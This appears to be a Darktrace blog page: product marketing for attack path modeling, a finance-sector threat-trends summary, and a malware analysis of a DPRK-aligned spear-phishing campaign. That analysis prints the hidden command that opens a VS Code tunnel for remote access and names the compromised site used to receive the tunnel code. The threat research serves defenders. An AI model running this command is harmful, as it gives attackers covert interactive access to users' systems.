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February 22, 2023

Find High-Impact Attack Paths with Darktrace / Proactive Exposure Management

Understand high-impact attack paths with Darktrace / Proactive Exposure Management. Learn from detailed use cases and improve your cybersecurity measures effectively.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Elliot Stocker
Product SME
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22
Feb 2023

What are the people, process, and technology assets that would do the most harm, if compromised by an attacker?

Attack path modeling provides a detailed map of all the roads that lead to an organization's crown jewels, prioritized in order of likelihood and potential impact. CISO's are increasingly looking to this kind of solution to complement their security stack because it highlights risks that are specific to this organization's structure, as well as potentially unexpected relationships between devices or users that would prove catastrophic if they were exploited.  

What makes Darktrace's Attack Path Modeling solution stand out?

  • Data sources are varied and information from the entire digital estate is considered
  • Modeling is real-time and continuously re-evaluated
  • Output does not require expert technical knowledge to be leveraged
  • Valuable as a standalone for vulnerability prioritization
  • As a component of the Darktrace ActiveAI Security Platform, the solution provides immediate value by feeding back into detection and response engines (e.g. tag critical assets for detection) but also provides long term systemic improvements as outcomes are followed up.

Thinking like an attacker

It is anticipated that CISOs will soon move beyond just insurance and checkbox compliance, as underwriters include more and more exclusions for certain types of cyber-attacks and the limits of compliance ticking the protection box rather than bolstering operational assurance become more apparent. They will push their teams to opt for more proactive cyber security measures to maximize ROI in the face of budget cuts, shifting investment into tools and capabilities that continuously improve their cyber resilience and demonstrate cyber risk reduction.

While red teams can provide insight into where effort and resource should be most immediately applied, the exercises themselves are often costly, non-exhaustive and infrequently run.

Hackers are constantly seeking pathways, preferably those of least resistance, to compromise a system by exploiting its vulnerabilities. Attack path modeling enables security teams to look at their environment from the perspective of the attacker. In turn, this helps them eliminate attack paths progressively, reducing the options an attacker would have, should they breach the walls.

A deeper dive into Attack Path Modeling

An attack path is a visual representation of the path that an attacker takes to exploit a weakness in the system. It highlights the series of steps (attack vectors) that a threat actor might take from one of the doors into the organization (attack surface) to access valuable assets.

It is typically unusual for an attacker to have a boulevard straight down to the crown jewels. They will most likely leverage a couple of loopholes, unexpected relationships and blind spots in the security stack to piece together a path to these confidential assets. Attack path modeling can help to highlight the attack vectors that connect, to form this path to compromise.  

Figure 1: The Darktrace / Proactive Exposure Management user interface.

How to model attack paths

Darktrace's proprietary Self-Learning AI models relationships, and graph theory is incorporated to understand the importance of users, documents and relationships between these.

Darktrace's Attack Path Modeling component identifies target nodes (users, accounts, devices), it then calculates the shortest paths to these target nodes and weights the results according to the likelihood of this attack path and the damage caused if the target asset was compromised. This is exactly what an attacker would do when planning an attack, albeit with a significant advantage to Darktrace's AI Engine, which has access to more information than the attacker. For the first time, defenders have the upper hand against attackers.

Avoiding siloed efforts

According to a Gartner survey, 75% of organizations are looking at consolidating security tools, not primarily because of cost, but because it helps drive cyber risk reduction. Ensuring that security efforts are part of a wider security ecosystem, rather than siloed efforts, is crucial to maximize the return on these investments.

Darktrace / Proactive Exposure Management integrates with Darktrace's detection and response to ensure that the organization's security posture is hardened, even if the team doesn't have time to eliminate the attack path.

Defensive superiority is key, and Attack Path Modeling is one way to help security teams gain back an advantage. Find out how you can test it in your own environment.

Attack Path Modeling is an objective, however, and there are a few important questions to consider when assessing the different methods of creating these models.

Are we considering all the relevant data when building my attack paths map?

Consider the case where one of your marketing executives has a close friendship with someone in your development team. How do you model that into your attack paths cartography? Attack paths encompass the full digital estate, so the attack path modeling solution should consider information from various parts, internal and external. This may include data from the Email environment, the Network, Endpoints, SaaS & Cloud, Active Directory, Vulnerability Scanners, etc.  

Cross-data analysis is the only way to understand holistic attack paths.

Are we looking at the most up to date map of attack paths?

Relationships between users, devices and other sensitive assets can evolve on a daily basis, this implies attack paths evolve on a daily basis. Ensuring that the methods or solutions used update their understanding continuously and in real-time is vital if security teams want the most up to date understanding of their organization's risk posture.

To improve our security posture, how do we know which attack paths to start with?

One thing is to map the sum-total of attack paths, another is to prioritize them. Attack path modeling gives you the map but adding a risk-assessment (explored in more depth below) layer on top is how you prioritize. This is where graph theory can be very useful to identify choke points that you may want to strengthen.  

Does this output yield actionable insights?

The prime objective of this solution is not simply to provide an assessment of cyber risk posture, but rather to help drive security efforts in the right direction. To that end, the output needs to be accessible to team members that may not have expert cyber skills. Lowering barriers to entry with usable insights and mitigation advice is key to successfully improve the organization's security posture.

Assessing risk to prioritize attack paths

Darktrace Attack Path Modeling (APM) is a risk-based approach to assessing cyber-attack pathways, thinking like an attacker, and probing the path of least resistance. 'Risk' in this case is defined as the product of two factors: Probability and Impact. By using this information to categorize possible attack paths in the risk matrix below, Darktrace's APM can prioritize attack paths to ensure security team efforts are spent on controlling for the most relevant risks for their organization.

Figure 2: Risk matrix for attack path prioritization

A: Defining Probability

There are two types of probability to consider:

The likelihood of one particular door being chosen by an attacker to infiltrate the organization (among the assets at the attack surface - this could be an internet-facing server, an inbox, a SaaS/Cloud account, etc). And,

The likelihood of one particular node (defined as a device or user account) being compromised next, via lateral movement.

Figure 3: Simplified example of calculating probability of lateral movement from a compromised agent to one of two servers

B: Defining Impact

Impact refers to the overall impact of an asset being compromised and unusable. In the case of an asset (e.g.: a key server), the bigger the disruption if this asset goes down, the higher the impact score. If considering a particular document, restricted access and sensitivity score of users accessing it are some of the variables used to estimate impact.

Figure 4: Diagram showing a simplified example of mapping access volume and sensitivity to estimate document value.

Both variables are calculated by the AI autonomously, without requiring human input. Security teams can of course reinforce the AI's understanding of the organization with their business expertise (by tagging additional sensitive devices for example).

A more in-depth description of how impact is propagated to identify key servers or sensitive documents, as well as other components that comprise the Darktrace Attack Path Modeling module can be found in this white paper.

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Elliot Stocker
Product SME

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January 28, 2026

The State of Cybersecurity in the Finance Sector: Six Trends to Watch

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The evolving cybersecurity threat landscape in finance

The financial sector, encompassing commercial banks, credit unions, financial services providers, and cryptocurrency platforms, faces an increasingly complex and aggressive cyber threat landscape. The financial sector’s reliance on digital infrastructure and its role in managing high-value transactions make it a prime target for both financially motivated and state-sponsored threat actors.

Darktrace’s latest threat research, The State of Cybersecurity in the Finance Sector, draws on a combination of Darktrace telemetry data from real-world customer environments, open-source intelligence, and direct interviews with financial-sector CISOs to provide perspective on how attacks are unfolding and how defenders in the sector need to adapt.  

Six cybersecurity trends in the finance sector for 2026

1. Credential-driven attacks are surging

Phishing continues to be a leading initial access vector for attacks targeting confidentiality. Financial institutions are frequently targeted with phishing emails designed to harvest login credentials. Techniques including Adversary-in-The-Middle (AiTM) to bypass Multi-factor Authentication (MFA) and QR code phishing (“quishing”) are surging and are capable of fooling even trained users. In the first half of 2025, Darktrace observed 2.4 million phishing emails within financial sector customer deployments, with almost 30% targeted towards VIP users.  

2. Data Loss Prevention is an increasing challenge

Compliance issues – particularly data loss prevention -- remain a persistent risk. In October 2025 alone, Darktrace observed over 214,000 emails across financial sector customers that contained unfamiliar attachments and were sent to suspected personal email addresses highlighting clear concerns around data loss prevention. Across the same set of customers within the same time frame, more than 351,000 emails containing unfamiliar attachments were sent to freemail addresses (e.g. gmail, yahoo, icloud), highlighting clear concerns around DLP.  

Confidentiality remains a primary concern for financial institutions as attackers increasingly target sensitive customer data, financial records, and internal communications.  

3. Ransomware is evolving toward data theft and extortion

Ransomware is no longer just about locking systems, it’s about stealing data first and encrypting second. Groups such as Cl0p and RansomHub now prioritize exploiting trusted file-transfer platforms to exfiltrate sensitive data before encryption, maximizing regulatory and reputational fallout for victims.  

Darktrace’s threat research identified routine scanning and malicious activity targeting internet-facing file-transfer systems used heavily by financial institutions. In one notable case involving Fortra GoAnywhere MFT, Darktrace detected malicious exploitation behavior six days before the CVE was publicly disclosed, demonstrating how attackers often operate ahead of patch cycles

This evolution underscores a critical reality: by the time a vulnerability is disclosed publicly, it may already be actively exploited.

4. Attackers are exploiting edge devices, often pre-disclosure.  

VPNs, firewalls, and remote access gateways have become high-value targets, and attackers are increasingly exploiting them before vulnerabilities are publicly disclosed. Darktrace observed pre-CVE exploitation activity affecting edge technologies including Citrix, Palo Alto, and Ivanti, enabling session hijacking, credential harvesting, and privileged lateral movement into core banking systems.  

Once compromised, these edge devices allow adversaries to blend into trusted network traffic, bypassing traditional perimeter defenses. CISOs interviewed for the report repeatedly described VPN infrastructure as a “concentrated focal point” for attackers, especially when patching and segmentation lag behind operational demands.

5. DPRK-linked activity is growing across crypto and fintech.  

State-sponsored activity, particularly from DPRK-linked groups affiliated with Lazarus, continues to intensify across cryptocurrency and fintech organizations. Darktrace identified coordinated campaigns leveraging malicious npm packages, previously undocumented BeaverTail and InvisibleFerret malware, and exploitation of React2Shell (CVE-2025-55182) for credential theft and persistent backdoor access.  

Targeting was observed across the United Kingdom, Spain, Portugal, Sweden, Chile, Nigeria, Kenya, and Qatar, highlighting the global scope of these operations.  

7. Cloud complexity and AI governance gaps are now systemic risks.  

Finally, CISOs consistently pointed to cloud complexity, insider risk from new hires, and ungoverned AI usage exposing sensitive data as systemic challenges. Leaders emphasized difficulty maintaining visibility across multi-cloud environments while managing sensitive data exposure through emerging AI tools.  

Rapid AI adoption without clear guardrails has introduced new confidentiality and compliance risks, turning governance into a board-level concern rather than a purely technical one.

Building cyber resilience in a shifting threat landscape

The financial sector remains a prime target for both financially motivated and state-sponsored adversaries. What this research makes clear is that yesterday’s security assumptions no longer hold. Identity attacks, pre-disclosure exploitation, and data-first ransomware require adaptive, behavior-based defenses that can detect threats as they emerge, often ahead of public disclosure.

As financial institutions continue to digitize, resilience will depend on visibility across identity, edge, cloud, and data, combined with AI-driven defense that learns at machine speed.  

Learn more about the threats facing the finance sector, and what your organization can do to keep up in The State of Cybersecurity in the Finance Sector report here.  

Acknowledgements:

The State of Cybersecurity in the Finance sector report was authored by Calum Hall, Hugh Turnbull, Parvatha Ananthakannan, Tiana Kelly, and Vivek Rajan, with contributions from Emma Foulger, Nicole Wong, Ryan Traill, Tara Gould, and the Darktrace Threat Research and Incident Management teams.

[related-resource]  

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Nathaniel Jones
VP, Security & AI Strategy, Field CISO

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January 23, 2026

Darktrace Identifies Campaign Targeting South Korea Leveraging VS Code for Remote Access

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Introduction

Darktrace analysts recently identified a campaign aligned with Democratic People’s Republic of Korea (DPRK) activity that targets users in South Korea, leveraging Javascript Encoded (JSE) scripts and government-themed decoy documents to deploy a Visual Studio Code (VS Code) tunnel to establish remote access.

Technical analysis

Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.
Figure 1: Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.

The sample observed in this campaign is a JSE file disguised as a Hangul Word Processor (HWPX) document, likely sent to targets via a spear-phishing email. The JSE file contains multiple Base64-encoded blobs and is executed by Windows Script Host. The HWPX file is titled “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026 (1)” in C:\ProgramData and is opened as a decoy. The Hangul documents impersonate the Ministry of Personnel Management, a South Korean government agency responsible for managing the civil service. Based on the metadata within the documents, the threat actors appear to have taken the documents from the government’s website and edited them to appear legitimate.

Base64 encoded blob.
Figure 2: Base64 encoded blob.

The script then downloads the VSCode CLI ZIP archives from Microsoft into C:\ProgramData, along with code.exe (the legitimate VS Code executable) and a file named out.txt.

In a hidden window, the command cmd.exe /c echo | "C:\ProgramData\code.exe" tunnel --name bizeugene > "C:\ProgramData\out.txt" 2>&1 is run, establishinga VS Code tunnel named “bizeugene”.

VSCode Tunnel setup.
Figure 3: VSCode Tunnel setup.

VS Code tunnels allows users connect to a remote computer and use Visual Studio Code. The remote computer runs a VS Code server that creates an encrypted connection to Microsoft’s tunnel service. A user can then connect to that machine from another device using the VS Code application or a web browser after signing in with GitHub or Microsoft. Abuse of VS Code tunnels was first identified in 2023 and has since been used by Chinese Advance Persistent Threat (APT) groups targeting digital infrastructure and government entities in Southeast Asia [1].

 Contents of out.txt.
Figure 4: Contents of out.txt.

The file “out.txt” contains VS Code Server logs along with a generated GitHub device code. Once the threat actor authorizes the tunnel from their GitHub account, the compromised system is connected via VS Code. This allows the threat actor to have interactive access over the system, with access to the VS Code’s terminal and file browser, enabling them to retrieve payloads and exfiltrate data.

GitHub screenshot after connection is authorized.
Figure 5: GitHub screenshot after connection is authorized.

This code, along with the tunnel token “bizeugene”, is sent in a POST request to hxxps://www[.]yespp[.]co[.]kr/common/include/code/out[.]php, a legitimate South Korean site that has been compromised is now used as a command-and-control (C2) server.

Conclusion

The use of Hancom document formats, DPRK government impersonation, prolonged remote access, and the victim targeting observed in this campaign are consistent with operational patterns previously attributed to DPRK-aligned threat actors. While definitive attribution cannot be made based on this sample alone, the alignment with established DPRK tactics, techniques, and procedures (TTPs) increases confidence that this activity originates from a DPRK state-aligned threat actor.

This activity shows how threat actors can use legitimate software rather than custom malware to maintain access to compromised systems. By using VS Code tunnels, attackers are able to communicate through trusted Microsoft infrastructure instead of dedicated C2 servers. The use of widely trusted applications makes detection more difficult, particularly in environments where developer tools are commonly installed. Traditional security controls that focus on blocking known malware may not identify this type of activity, as the tools themselves are not inherently malicious and are often signed by legitimate vendors.

Credit to Tara Gould (Malware Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Appendix

Indicators of Compromise (IoCs)

115.68.110.73 - compromised site IP

9fe43e08c8f446554340f972dac8a68c - 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse

MITRE ATTACK

T1566.001 - Phishing: Attachment

T1059 - Command and Scripting Interpreter

T1204.002 - User Execution

T1027 - Obfuscated Files and Information

T1218 - Signed Binary Proxy Execution

T1105 - Ingress Tool Transfer

T1090 - Proxy

T1041 - Exfiltration Over C2 Channel

References

[1]  https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/

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